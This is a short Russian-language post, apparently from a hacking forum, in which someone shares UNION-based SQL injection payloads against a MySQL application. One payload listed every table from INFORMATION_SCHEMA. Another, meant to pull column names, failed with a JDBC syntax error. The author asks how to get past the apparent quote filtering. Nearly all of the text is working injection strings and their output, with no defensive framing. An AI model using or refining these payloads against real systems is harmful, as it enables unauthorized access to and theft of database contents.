'1' UNION SELECT 1,TABLE_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.TABLES --
Вывело список таблиц, причем всех

'1' UNION SELECT 1, COLUMN_NAME,3,4,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='TABLE' LIMIT 2,1 --
TABLE также пробовал в hex виде (0х***)

Выскакивает при попытке подать запрос следующее:

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorEx ception: Unknown column '*!?TABLE*!?' in 'where clause'

Я так понимаю перебирать только вручную поможет?